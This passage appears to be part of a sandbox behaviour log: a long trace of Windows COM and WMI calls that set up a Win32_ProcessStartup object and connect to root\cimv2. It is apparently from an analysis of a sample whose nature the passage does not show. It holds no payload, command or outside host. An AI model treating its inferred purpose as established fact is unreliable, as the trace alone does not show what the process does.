pdwValue=0x1b2fcbe0) returned 0x80004002 [0062.966] WbemLocator:IUnknown:Release (This=0x11e0330) returned 0x2 [0062.966] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0062.966] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0062.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01830, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf01830) returned 0x0 [0062.966] WbemLocator:IUnknown:Release (This=0x1bf01830) returned 0x2 [0062.966] SysStringLen (param_1=0x0) returned 0x0 [0062.966] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0062.966] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0062.967] IWbemServices:GetObject (in: This=0x1bf01830, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef54f0, ppCallResult=0x0) returned 0x0 [0062.968] IWbemClassObject:Get (in: This=0x1bef54f0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0062.968] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0062.968] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0062.968] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0062.968] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0062.968] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0062.968] IUnknown:Release (This=0x111f638) returned 0x1 [0062.970] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf11380) returned 0x0 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11380, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0062.971] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11380, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119b960) returned 0x0 [0062.971] WbemDefPath:IUnknown:Release (This=0x1bf11380) returned 0x0 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119b960) returned 0x0 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0062.971] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf113a0) returned 0x0 [0062.971] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf113a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.971] WbemDefPath:IUnknown:Release (This=0x1bf113a0) returned 0x3 [0062.971] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0062.971] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0062.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0062.971] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0062.972] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0062.972] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0062.972] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0062.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119b960) returned 0x0 [0062.972] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0062.972] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0062.972] WbemDefPath:IWbemPath:SetText (This=0x119b960, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0062.972] IWbemClassObject:Get (in: This=0x1bef54f0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a84b78*=0, plFlavor=0x2a84b7c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a84b78*=19, plFlavor=0x2a84b7c*=0) returned 0x0 [0062.972] IWbemClassObject:Get (in: This=0x1bef54f0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a84b78*=19, plFlavor=0x2a84b7c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a84b78*=19, plFlavor=0x2a84b7c*=0) returned 0x0 [0062.972] IWbemClassObject:Put (This=0x1bef54f0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0062.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0062.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.972] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0062.972] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.972] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0062.972] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0062.972] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0062.972] IUnknown:Release (This=0x111f638) returned 0x1 [0062.974] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf11540) returned 0x0 [0062.974] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11540, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0062.974] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11540, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119ba20) returned 0x0 [0062.974] WbemDefPath:IUnknown:Release (This=0x1bf11540) returned 0x0 [0062.974] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119ba20) returned 0x0 [0062.974] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0062.975] WbemDefPath:IUnknown:AddRef (This=0x119ba20) returned 0x3 [0062.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0062.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0062.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf11580) returned 0x0 [0062.975] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11580, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.975] WbemDefPath:IUnknown:Release (This=0x1bf11580) returned 0x3 [0062.975] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0062.975] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0062.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0062.975] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x2 [0062.975] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x1 [0062.975] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0062.975] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0062.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119ba20) returned 0x0 [0062.975] WbemDefPath:IUnknown:AddRef (This=0x119ba20) returned 0x3 [0062.975] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x2 [0062.975] WbemDefPath:IWbemPath:SetText (This=0x119ba20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0062.975] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0062.975] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0062.976] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.976] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0062.976] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0062.976] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0062.976] IUnknown:Release (This=0x111f638) returned 0x1 [0062.977] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf11680) returned 0x0 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11680, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0062.977] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf11680, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf116a0) returned 0x0 [0062.977] WbemLocator:IUnknown:Release (This=0x1bf11680) returned 0x0 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf116a0) returned 0x0 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0062.977] WbemLocator:IUnknown:AddRef (This=0x1bf116a0) returned 0x3 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0062.977] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0062.977] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0062.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0062.977] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x2 [0062.977] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x1 [0062.978] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0062.978] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0062.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf116a0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf116a0) returned 0x0 [0062.978] WbemLocator:IUnknown:AddRef (This=0x1bf116a0) returned 0x3 [0062.978] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x2 [0062.978] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0062.978] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0062.978] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.978] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf116c0) returned 0x0 [0062.978] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf116c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf01c20) returned 0x0 [0063.148] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01c20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e04a0) returned 0x0 [0063.148] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e04a0, pProxy=0x1bf01c20, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0063.148] WbemLocator:IUnknown:Release (This=0x11e04a0) returned 0x1 [0063.148] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01c20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e04e0) returned 0x0 [0063.148] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01c20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e04a0) returned 0x0 [0063.148] WbemLocator:IClientSecurity:SetBlanket (This=0x11e04a0, pProxy=0x1bf01c20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0063.148] WbemLocator:IUnknown:Release (This=0x11e04a0) returned 0x2 [0063.148] WbemLocator:IUnknown:Release (This=0x11e04e0) returned 0x1 [0063.149] CoTaskMemFree (pv=0x1beee030) [0063.149] WbemLocator:IUnknown:AddRef (This=0x1bf01c20) returned 0x2 [0063.149] WbemLocator:IUnknown:Release (This=0x1bf116c0) returned 0x0 [0063.149] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0063.149] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0063.149] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01c20, 